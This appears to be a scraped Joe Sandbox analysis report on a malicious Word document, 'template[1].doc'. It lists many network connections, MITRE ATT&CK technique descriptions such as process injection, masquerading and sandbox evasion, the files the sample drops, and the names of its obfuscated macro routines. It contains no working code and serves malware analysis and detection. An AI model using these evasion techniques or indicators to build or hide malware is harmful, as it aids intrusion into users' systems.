Source: unknown	Network traffic detected: HTTP traffic on port 49187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49273 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49279
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49276
Source: unknown	Network traffic detected: HTTP traffic on port 49182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49271
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 49205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49263 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49198
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49195
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49194
Source: unknown	Network traffic detected: HTTP traffic on port 49201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49193
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49190
Source: unknown	Network traffic detected: HTTP traffic on port 49229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49227
Source: unknown	Network traffic detected: HTTP traffic on port 49185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49224
Source: unknown	Network traffic detected: HTTP traffic on port 49265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49221
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49220
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49219
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49217
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49211
Source: unknown	Network traffic detected: HTTP traffic on port 49180 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49210
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49208
Source: unknown	Network traffic detected: HTTP traffic on port 49230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49207
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49206
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49205
Source: unknown	Network traffic detected: HTTP traffic on port 49219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49200
Source: unknown	Network traffic detected: HTTP traffic on port 49202 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49268
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49263
Source: unknown	Network traffic detected: HTTP traffic on port 49261 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49261
Source: unknown	Network traffic detected: HTTP traffic on port 49189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49260
Source: unknown	Network traffic detected: HTTP traffic on port 49172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49258
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49254
Source: unknown	Network traffic detected: HTTP traffic on port 49190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49250
Source: unknown	Network traffic detected: HTTP traffic on port 49249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49248
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49247
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49245
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49244
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49243
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49242
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49240
Source: unknown	Network traffic detected: HTTP traffic on port 49248 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49239
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49238
Source: unknown	Network traffic detected: HTTP traffic on port 49243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49236
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49235
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49234
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49230
Source: unknown	Network traffic detected: HTTP traffic on port 49226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49229
Source: unknown	Network traffic detected: HTTP traffic on port 49215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49228
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 443

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report template[1].doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Windose.txt

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu[1].mp4

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\OGHAYZZFhfCtspqorBFNYMrxHN7TXIlz8vjv1TPmuyrc2yIu[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{78D6FE31-C42D-4CC6-B0D1-824575AF05A9}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2837334C-3C28-47DF-B8E9-7A311DBFF213}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{6D74B366-D4C8-464E-A7CA-80C94D1A45EA}.tmp

C:\Users\user\AppData\Local\Temp\dnrdfsi11023.dll

C:\Users\user\AppData\Local\Temp\wnitmpo.dll

C:\Users\user\AppData\Local\Temp\~DF3EAF6279D3B942E8.TMP

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\template[1].LNK

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\Desktop\~$mplate[1].doc

Static File Info

General

File Icon

Static OLE Info

General

OLE File "/opt/package/joesandbox/database/analysis/683638/sample/template[1].doc"

Indicators

Summary

Document Summary

Windows Analysis Report
template[1].doc

Subroutine
DoCUmeNT_OPEnAPIs: 8, Strings: 0, Number of lines: 14, Relevance: 13.514

Subroutine
lllIiIjLliJjJIlJAPIs: 4, Strings: 0, Number of lines: 2500, Relevance: 32.5

Subroutine
JjliIliIiJJIjlLjAPIs: 4, Strings: 0, Number of lines: 1895, Relevance: 6.895

Function 000007FEF4737230 Relevance: 47.6, APIs: 31, Instructions: 1054
networklibraryloaderCOMMONCrypto

Function 000007FEF4725EE0 Relevance: 27.1, APIs: 1, Strings: 14, Instructions: 840
COMMONCrypto

Function 000007FEF4734F60 Relevance: 16.7, APIs: 6, Strings: 3, Instructions: 992
COMMONCrypto

Function 000007FEF4736150 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 113
COMMON

Function 000007FEF4726F10 Relevance: 2.9, Strings: 2, Instructions: 442
COMMONCrypto

Function 000007FEF472BE90 Relevance: .3, Instructions: 321
COMMONCrypto

Function 000007FEF4724880 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 302
registryCOMMON

Function 000007FEF473E350 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
COMMON

Function 000007FEF4723BF0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Function 000007FEF4728BB0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 127
COMMON

Function 000007FEF4741BDC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47
COMMONLIBRARYCODE

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre